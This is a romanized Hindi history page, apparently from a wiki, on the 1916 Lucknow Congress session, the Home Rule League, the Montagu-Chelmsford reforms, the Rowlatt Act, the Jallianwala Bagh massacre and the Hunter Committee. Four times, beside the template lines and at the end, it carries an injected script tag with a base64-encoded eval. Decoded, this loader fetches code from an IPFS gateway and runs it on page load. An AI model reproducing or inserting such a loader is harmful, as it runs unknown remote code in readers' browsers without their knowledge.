kaangres ka lakhanoo adhiveshan ambikacharan majoomadar ki adhyakshata mean 1916 ee. mean lakhanoo mean sampann hua. is adhiveshan mean hi garam dal tatha naram dal, jinake apasi matabhedoan ke karan kaangres ka do bhagoan mean vibhajan ho gaya tha, unhean phir ek sath laya gaya. lakhanoo adhiveshan mean 'svarajy prapti' ka bhi prastav parit kiya gaya. kaangres ne 'muslim lig' dvara ki ja rahi 'sampradayik pratinidhitv' ki maang ko bhi svikar kar liya.

homarool lig andolan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'homarool lig andolan' ka uddeshy british samrajy ke adhin rahate hue sanvaidhanik tariqe se svashasan ko prapt karana tha. is lig ke pramukh neta bal gangadhar tilak evan shrimati eni beseant thian. svarajy ki prapti ke lie tilak ne 28 aprail, 1916 ee. ko belagaanv mean 'homarool lig' ki sthapana ki thi. inake dvara sthapit lig ka prabhav karnatak, maharashtr (bambee ko chho dakar), madhy prant evan barar tak phaila hua tha.

maantegyoo-chemsaford riport

british pradhanamantri layad j aaurj ne bharatiy janata ko saantvana dene ke vichar se edavin maantegyoo ko bharat ka sachiv niyukt kiya. maantegyoo ko bharatiy rashtriy bhavanao ka samarthak mana jata tha. british sansad mean maantegyoo ne kaha tha ki "shikshit bharatiyo ki maang niahsandeh unaka adhikar hai tatha unhean uttaradayitv sanbhalane aur atmanirnay ka avasar diya jana chahie."

bharat sachiv maantegyoo dvara dvara 20 agast, 1917 ee. ko briten ki 'kamans sabha' mean ek prastav padha gaya, jisamean bharat mean prashasan ki har shakha mean bharatiyoan ko adhik pratinidhitv diye jane ki bat kahi gayi thi. ise 'maantegyoo ghoshana' kaha gaya. maantegyoo ghoshana ko udaravadiyoan ne 'bharat ke maignakarta ki sanjna' di. navambar, 1917 mean maantegyoo bharat aye aur yahaan unhoanne tatkalin vayasaray l aaurd chemsaford se vyapak vichar vimarsh ke bad 1919 ee. mean 'maantegyoo-chemsaford riport' ko jari kiya. 'maantegyoo ghoshana' aur 'maantegyoo-chemsaford riport' ke adhar par nirmit 'bharat sarakar adhiniyam 1919' ko maantegyoo ne sansad dvara nirmit sarakar aur bharat ke janapratinidhiyoan ke bich setu ki sanjna di. 1919 ee. ke 'bharat sarakar adhiniyam' ke nam se prasiddh is ekt se pranto mean 'dvaidh shasan' ki vyavastha ki gee.

lokamany tilak ne is adhiniyam ko asantoshajanak aur nirashajanak tatha 'ek bina sooraj ka sabera' bataya. 1919 ee. ke kaangres ke 'amritasar adhiveshan' mean kaangres ne in sudharoan ko aparyapt, asantoshajanak aur nirashajanak bataya. 1919 ee. ke sudharoan ko lekar matabhed ke karan hi kaangres mean dvitiy vibhajan hua. 1918 ee. mean surendranath banarji ke netritv mean udaravari netao ne maantegyoo sudharoan ka svagat kiya tatha kaangres se alag hokar 'akhil bharatiy udaravadi sangh' ki sthapana ki. 1919 ee. ke adhiveshan ka sanvaidhanik sudhar 1921 ee. mean lagoo hua. is adhiniyam ke antargat prantiy vishay pahali bar arakshit aur hastaantarit mean vibhajit huye. pahali bar bharatiy vidhanamandal ko bajat pas karane sambandhit adhikar mila tatha pahali bar 'lok seva ayog' ki sthapana ka pravadhan kiya gaya. 1919 ee. ke adhiniyam ki das varsh bad samiksha ke lie ek vaidhanik ayog ki niyukti ka pravadhan tha, bad mean yah ayog 'saiman ayog' ke nam se jana gaya.

raulat ekt

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

raulat ekt 8 march, 1919 ee. ko lagoo kiya gaya. bharat mean krantikariyoan ke prabhav ko samapt karane tatha rashtriy bhavana ko kuchalane ke lie british sarakar ne nyayadhish 'sar sidani raulat' ki adhyakshata mean ek kameti niyukt ki. kameti le 1918 ee. mean apani riport prastut ki. kameti dvara diye gaye sujhavoan ke adhar par kendriy vidhanamandal mean faravari, 1919 ee. mean do vidheyak laye gaye. parit hone ke uparant in vidheyakoan ko 'raulat aikt' ya 'kala qanoon' ke nam se jana gaya.

jaliyaanvala bag hatyakaand

[[chitr:Jallianwalah-Bagh-Amritsar-1.jpg|thumb|right|250px|jaliyaanvala bag, amritasar, panjab]]panjab ke amritasar nagar mean jaliyaanvala bag namak sthan par aangrezoan ki senaoan ne bharatiy pradarshanakariyoan par aandhadhuandh goliyaan chalakar b di sankhya mean unaki hatya kar di. yah ghatana 13 aprail, 1919 ee. ko ghatit huee. is ghatana ke bad mahatma gaandhi ne 1920-1922 ke 'asahayog aandolan' ki shuruat ki. us din vaishakhi ka tyohar tha. 1919 ee. mean bharat ki british sarakar ne r aaulet ekt ka shaantipoorvak virodh karane par jananeta pahale hi giraphtar kar lie the. is giraphtari ki nianda karane aur pahale hue goli kaand ki bhartsana karane ke lie jaliyaanvala bag mean shaantipoorvak ek sabha ayojit ki gayi thi. 13 aprail, 1919 ko tisare pahar das hazar se bhi zyada nihatthe stri, purush aur bachche janasabha karane par pratibandh hone ke bavajood amritasar ke jaliyaanvala bag mean virodh sabha ke lie ekatr hue the.

hantar samiti

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'hantar samiti' ki sthapana british sarakar dvara 1 aktoobar, 1919 ee. ko ki gee thi. l aaurd hantar ko is samiti ka adhyaksh niyukt kiya gaya tha. desh mean jaliyaanvala bag ke hatyakaand ko lekar jo ugr pradarshan adi hue, usase vivash hokar aangrez sarakar ne ghatana ki jaanch karane ke lie 'hantar samiti' ki sthapana ki. is samiti ne jaliyaanvala bag ke sampoorn prakaran par lipa-poti karane ka prayas kiya. britaniya akhabaroan mean ghatana ke lie zimmedar janaral dayar ko 'british samrajy ka rakshak' aur 'british samrajy ka sher' adi kahakar sambodhit kiya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>